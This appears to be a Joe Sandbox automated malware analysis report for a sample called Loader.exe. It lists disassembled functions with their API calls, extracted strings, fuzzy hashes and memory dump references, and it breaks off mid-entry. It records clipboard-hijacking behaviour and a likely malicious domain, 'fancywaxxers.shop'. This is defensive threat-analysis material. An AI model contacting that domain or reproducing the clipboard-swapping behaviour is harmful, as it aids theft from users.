Instruction Fuzzy Hash: 0E015A79A045309BC707FF20E85667DBBA9BF85751F154049E8025B392DF38AE42CBC1

Function 0033F670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0033F70C,00000000,?,00351E20,?,?,?,0033F643,00000004,InitializeCriticalSectionEx,003490D4,003490DC), ref: 0033F67D
GetLastError.KERNEL32(?,0033F70C,00000000,?,00351E20,?,?,?,0033F643,00000004,InitializeCriticalSectionEx,003490D4,003490DC,00000000,?,0033535C), ref: 0033F687
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0033F6AF

Strings

api-ms-, xrefs: 0033F694

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a77e0c3dfda40c4e76f4010d69e1335fdd99483f662d6f9bad14af14d95056e7
Instruction ID: da1af318075267929457468698caac69c5849df7ca4d5367058c5eaa07296067
Opcode Fuzzy Hash: a77e0c3dfda40c4e76f4010d69e1335fdd99483f662d6f9bad14af14d95056e7
Instruction Fuzzy Hash: ECE04F31B80208BBEF221B62EC8BB693F99AB11B51F544030F90CEC5F1DBB6BC509944

Function 0033D70E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(DAF5BA3C,00000000,00000000,?), ref: 0033D771

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0033D9C3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0033DA09
GetLastError.KERNEL32 ref: 0033DAAC

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 96f0df2b3df61f0e6d5bbed74a2cbd0c029448504f8ecd1daca0f0aea765d495
Instruction ID: c97ae3ffe55881d7aa2ea1e589801fd792c09750d1a9ab735be70b27537c798d
Opcode Fuzzy Hash: 96f0df2b3df61f0e6d5bbed74a2cbd0c029448504f8ecd1daca0f0aea765d495
Instruction Fuzzy Hash: 59D15A75D042589FCF16CFA8D9C0AEDBBB9FF09314F24416AE456EB351E630A942CB50

Function 00334A33 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00334AFA
___AdjustPointer.LIBCMT ref: 00334B1D
___AdjustPointer.LIBCMT ref: 00334BB9

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9cf5cb795e276bdb9ece72258ac1a13eb82210cc1582aeaa145bb8f80025da94
Instruction ID: 0f36c6c0b9de24b54d2a445dae6be7ef00d042e03ebb72b7ddea7f223fe4624b
Opcode Fuzzy Hash: 9cf5cb795e276bdb9ece72258ac1a13eb82210cc1582aeaa145bb8f80025da94
Instruction Fuzzy Hash: D751EF72604616AFDB2B8F14E8C1BAAB3B8EF40311F15456DE8858B690E731FC80CB90

Function 0033B536 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0033B59A
__dosmaperr.LIBCMT ref: 0033B5A1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0033B5DB
__dosmaperr.LIBCMT ref: 0033B5E2

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d162ae35e26b645138df43992a6de4c67a359f0edc176c92112b08296593c8fa
Instruction ID: f5fd6a269333927a284a3e2ed754f13fbbae4b8a3d220de32f73ed1de2ddc596
Opcode Fuzzy Hash: d162ae35e26b645138df43992a6de4c67a359f0edc176c92112b08296593c8fa
Instruction Fuzzy Hash: BB21D771600219EFEB12AF66D8C186BF7ADFF05364F118518FA19DB550DB30ED508B90

Function 0032C9D2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 211ba87a4fa8f836cbb43104489fdf96be5810e0eeaa5e63018dbb0e942599f3
Instruction ID: a3a4f81e72900beba9e485ff516f18264473dec5e7e17c223b933be253bb48bc
Opcode Fuzzy Hash: 211ba87a4fa8f836cbb43104489fdf96be5810e0eeaa5e63018dbb0e942599f3
Instruction Fuzzy Hash: BE21C33161022AAF9B22EF75EC8196FB7ACFF043A4B119514F819DB550DB30EC408B90

Function 0033C92E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0033C936

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033C96E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033C98E

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c231ae0d16a7c9caa4f7e287b2f52ff715ef08aee4b3f37ac2f842b827496f72
Instruction ID: b9e23c3a4684b0f88eb2fddafb935c62a2524f2350c7ca024fbc17dff3d4e221
Opcode Fuzzy Hash: c231ae0d16a7c9caa4f7e287b2f52ff715ef08aee4b3f37ac2f842b827496f72
Instruction Fuzzy Hash: 6F11C0B6511A15BFAB1327B25CCAD7F7A9CEE96794F521029F802E9100FF209D0087B0

Function 00344450 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000), ref: 00344467
GetLastError.KERNEL32(?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?,?,?,0033D446,?), ref: 00344473

Part of subcall function 003444D0: CloseHandle.KERNEL32(FFFFFFFE,00344483,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?,?), ref: 003444E0

___initconout.LIBCMT ref: 00344483

Part of subcall function 003444A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00344441,0034398C,?,?,0033DB00,?,00000000,00000000,?), ref: 003444B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?), ref: 00344498

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9880fee077bb2132693240697e7f69305b2b1b4ff4fe205246cccf2304da8577
Instruction ID: a74fb539fd6841251618fd3680283328e42a474e8c5cc0cd158c1db3c780205b
Opcode Fuzzy Hash: 9880fee077bb2132693240697e7f69305b2b1b4ff4fe205246cccf2304da8577
Instruction Fuzzy Hash: D7F0C73A501219BBCF231F95EC49B993F6AFB457B5F164420F918AD230DB31A8209B91

Function 0033A0E6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0032F7C9,?,?,?,00000055,?,-00000050,?,?,?), ref: 0033A1A5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0032F7C9,?,?,?,00000055,?,-00000050,?,?), ref: 0033A1DC

Strings

utf8, xrefs: 0033A2AE

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: daa0830750f91c54220bbcccbacb9530005f8e8e94aaf0694d129d90651c7c02
Instruction ID: 6db3ef582a07c4584440792b9f5a19ca3c0ed278efdef9bfeaf7f297bb0e109b
Opcode Fuzzy Hash: daa0830750f91c54220bbcccbacb9530005f8e8e94aaf0694d129d90651c7c02
Instruction Fuzzy Hash: D5510231A00F05AAEB27AB748CC2BA773ACEF05700F154929F995DF481EA75E9409762

Function 00335130 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00335031,?,?,00000000,00000000,00000000,?), ref: 00335155

Strings

RCC, xrefs: 0033516F
MOC, xrefs: 00335167

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 56e6c73aa456c2549dd7c6d9ab4f5b3d389e9e3b036016a5d641a703e9359789
Instruction ID: 8e27633386fecd2cf4d21b651b546f2c16142312321fd9d9e71b187408ddf24b
Opcode Fuzzy Hash: 56e6c73aa456c2549dd7c6d9ab4f5b3d389e9e3b036016a5d641a703e9359789
Instruction Fuzzy Hash: AF414871900609EFCF16DF94CC81AEEBBB5BF48300F154559FA09AB211D335AA91DB91

Function 0033499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00334C13

Strings

csm, xrefs: 00334C35
csm, xrefs: 00334CA6

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ac364b2fd964fa419b0410a51da2b29e4e9df203ca4d655c5a508d296b9d6ef7
Instruction ID: 60df33fe794c6db1506547c589996e5f622e706403e908ef1704cb64c1400e25
Opcode Fuzzy Hash: ac364b2fd964fa419b0410a51da2b29e4e9df203ca4d655c5a508d296b9d6ef7
Instruction Fuzzy Hash: 2D31F376401218AFCF239F50CCC496E7B65FF09315F1A825AF8544A122C336ECA1DB91

Function 00326780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003267DB

Strings

.2, xrefs: 0032679C
Ey2, xrefs: 00326780

Memory Dump Source

Source File: 00000000.00000002.2037879342.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2037428148.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037914923.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037940750.0000000000350000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038010974.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038086768.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038250351.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_Loader.jbxd

Similarity

API ID: ___std_exception_copy
String ID: Ey2$.2
API String ID: 2659868963-2198933547
Opcode ID: dd81561db35c2d1beeedda9f72aeb5e53e8e9be7e4f1412378423c4bd41dd903
Instruction ID: 5102c17fe214798e4d00c35e856396111ebf511ba5f8bcb259a75da6726ade49
Opcode Fuzzy Hash: dd81561db35c2d1beeedda9f72aeb5e53e8e9be7e4f1412378423c4bd41dd903
Instruction Fuzzy Hash: 7A01ACB49043089FDB05DF98D5956AEBBF0FF58304F10846DE459AB341DB34AA44CF96

Analysis Process: Loader.exePID: 6472, Parent PID: 4980COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	4.6%
Signature Coverage:	48.6%
Total number of Nodes:	370
Total number of Limit Nodes:	33

Executed Functions

Function 00411920 Relevance: 105.2, APIs: 5, Strings: 54, Instructions: 1942COMMON

Download Yara Rule

Strings

Z, xrefs: 004119E9
u, xrefs: 004125CF
", xrefs: 004120CF
[, xrefs: 00411A6F
_, xrefs: 0041258F
K, xrefs: 00412417
`, xrefs: 00412688
x, xrefs: 00411CA4
O, xrefs: 0041250C
9, xrefs: 00411B86
9, xrefs: 0041241F
0, xrefs: 0041311C
A, xrefs: 00412447
t, xrefs: 004125C7
&, xrefs: 004120EF
E, xrefs: 00412427
, xrefs: 004120DF
*, xrefs: 0041210F
%, xrefs: 00412107
Y, xrefs: 004124FC
), xrefs: 0041308C
v, xrefs: 004125B7
D, xrefs: 0041321A
8, xrefs: 0041209F
H, xrefs: 00411A6A
D, xrefs: 004135D5
4, xrefs: 00412DDD
M, xrefs: 0041251C
S, xrefs: 00411ACF
#, xrefs: 00412DCD
,, xrefs: 00412C01
=, xrefs: 0041243F
f, xrefs: 00411C0E
r, xrefs: 004125D7
&, xrefs: 004130DC
-, xrefs: 004130EC
>, xrefs: 004120AF
G, xrefs: 00412437
C, xrefs: 00412457
D, xrefs: 004135E2
/, xrefs: 0041299E
*, xrefs: 00411B81
6, xrefs: 0041310C
X, xrefs: 00411E31
(, xrefs: 00412D7D
$, xrefs: 004120FF
B, xrefs: 0041244F
N, xrefs: 00411B8B
<, xrefs: 004120BF
p, xrefs: 00412894
|, xrefs: 0041240F
3, xrefs: 00412DFD
1, xrefs: 00412E0D
', xrefs: 00411F14

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $"$#$$$%$&$&$'$($)$*$*$,$-$/$0$1$3$4$6$8$9$9$<$=$>$A$B$C$D$D$D$E$G$H$K$M$N$O$S$X$Y$Z$[$_$`$f$p$r$t$u$v$x$|
API String ID: 0-842215263
Opcode ID: e1db05eb6b877458662798f7b77d9f674f87e06c784e635f8a94fdc96650a68d
Instruction ID: 919045ca250a3dc522ea085bcacde565848991d1b776b7806181371f3fd81d75
Opcode Fuzzy Hash: e1db05eb6b877458662798f7b77d9f674f87e06c784e635f8a94fdc96650a68d
Instruction Fuzzy Hash: C203BD3150C7C18AC3359B3885443DFBFE1AB96324F188A6EE4E9873D2D6788586C75B

Function 00414A9A Relevance: 26.0, APIs: 1, Strings: 13, Instructions: 1455COMMON

Download Yara Rule

Strings

>89>, xrefs: 00415E10
wOGH, xrefs: 004150FD
KiY], xrefs: 00415129
|W:(, xrefs: 00415190
L4, xrefs: 00415770
Ovxu, xrefs: 0041511E
rpLA, xrefs: 00415113
L4, xrefs: 00415EE0
V, xrefs: 004151F5
bYbU, xrefs: 0041513F
[W:(, xrefs: 00415152
50;>, xrefs: 00414E30
U^nl, xrefs: 00415134

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 50;>$>89>$KiY]$Ovxu$U^nl$V$[W:($bYbU$rpLA$wOGH$|W:($L4$L4
API String ID: 0-291379916
Opcode ID: 708b374310dfa8033e766b2e8d36929ad886bd4ce37cf35e25c25107b4ef0a77
Instruction ID: 65dbaec70bbc84fecd4f702046f7613bdab94853883533c89d79ffcbef30d949
Opcode Fuzzy Hash: 708b374310dfa8033e766b2e8d36929ad886bd4ce37cf35e25c25107b4ef0a77
Instruction Fuzzy Hash: DDA24976A083518BD724CF25D8917EFB7E2EBC5314F08893EE49987392E7389845C786

Function 00439B30 Relevance: 25.2, APIs: 11, Strings: 3, Instructions: 736
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044468C,00000000,00000001,0044467C,00000000), ref: 00439CED
SysAllocString.OLEAUT32(CCA0CE8C), ref: 00439D47
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439D90
SysAllocString.OLEAUT32(82DC8CE4), ref: 00439E0C
SysAllocString.OLEAUT32(82DC8CE4), ref: 00439E97
VariantInit.OLEAUT32(oTUJ), ref: 00439F05
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,CCA0CE8C,00000000,00000000,00000000,00000000), ref: 0043A21A

Strings

oTUJ, xrefs: 00439BA4, 00439C44
!B, xrefs: 00439C5D
C, xrefs: 00439C52

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: AllocString$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: !B$C$oTUJ
API String ID: 1810270423-3346123761
Opcode ID: 92c28b2f1e1ce454a1989aec24678e01c31857c879c3496e424f8912745cb02b
Instruction ID: 4797e4197787e1ccd0c2251949579dafbeb3e9d5dd3206026abedc5e4ab30956
Opcode Fuzzy Hash: 92c28b2f1e1ce454a1989aec24678e01c31857c879c3496e424f8912745cb02b
Instruction Fuzzy Hash: 4E32FE71A483518BD714CF24C88176BBBE1EBCA314F14992EE8D59B391D378D806CB9B

Function 052A1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 052A1032
OpenClipboard.USER32(00000000), ref: 052A103C
GetClipboardData.USER32(0000000D), ref: 052A104C
GlobalLock.KERNEL32(00000000), ref: 052A105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 052A1090
GlobalLock.KERNEL32 ref: 052A10A0
GlobalUnlock.KERNEL32 ref: 052A10C1
EmptyClipboard.USER32 ref: 052A10CB
SetClipboardData.USER32(0000000D), ref: 052A10D6
GlobalFree.KERNEL32 ref: 052A10E3
GlobalUnlock.KERNEL32(?), ref: 052A10ED
CloseClipboard.USER32 ref: 052A10F3
GetClipboardSequenceNumber.USER32 ref: 052A10F9

Memory Dump Source

Source File: 00000003.00000002.3277608913.00000000052A1000.00000020.00000800.00020000.00000000.sdmp, Offset: 052A0000, based on PE: true

Associated: 00000003.00000002.3277590466.00000000052A0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3277624321.00000000052A2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_52a0000_Loader.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 1ebfda791b672e3ede4c123d9b62fddfca99a578cf491fbecb9d545600beda99
Instruction ID: a0a83be011418fc1073a673a03725f68e8981a86a7c06d966fead7700372552a
Opcode Fuzzy Hash: 1ebfda791b672e3ede4c123d9b62fddfca99a578cf491fbecb9d545600beda99
Instruction Fuzzy Hash: BC219B3A634251DBD7282B71BC0EB6A7FA9FF05761F040465FD4AD61D0EF618810CB61

Function 0040FFD6 Relevance: 18.4, APIs: 1, Strings: 9, Instructions: 859
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H, xrefs: 004104E7
|, xrefs: 004108C1
:, xrefs: 00410064
=, xrefs: 004105AB
!, xrefs: 00410A39
R, xrefs: 0040FFE9
Z, xrefs: 004101C9
Q, xrefs: 00410803
0, xrefs: 0041039C

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID:
String ID: !$0$:$=$H$Q$R$Z$|
API String ID: 0-2647137366
Opcode ID: f791f164d742791169fef67f2675f96a806319c50ed3faa86751d73b7e79b0e1
Instruction ID: b1c587c69972fe86ad369410b5a1af1c9ee2814cf2c8545fb68a45fe4272fdb3
Opcode Fuzzy Hash: f791f164d742791169fef67f2675f96a806319c50ed3faa86751d73b7e79b0e1
Instruction Fuzzy Hash: 3E72A272A0C7808BD324DB39C89139FBBD2ABD5314F198A3EE5D9D73C1D67889418B46

Function 0042207D Relevance: 17.4, APIs: 2, Strings: 7, Instructions: 1650COMMON

Download Yara Rule

Strings

^jk[, xrefs: 00422197
gPRf, xrefs: 004221A7
b,B, xrefs: 00422C4D
Ktrr, xrefs: 00422187
~~, xrefs: 004232AF
fancywaxxers.shop, xrefs: 004224DF
NCGA, xrefs: 00422177

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

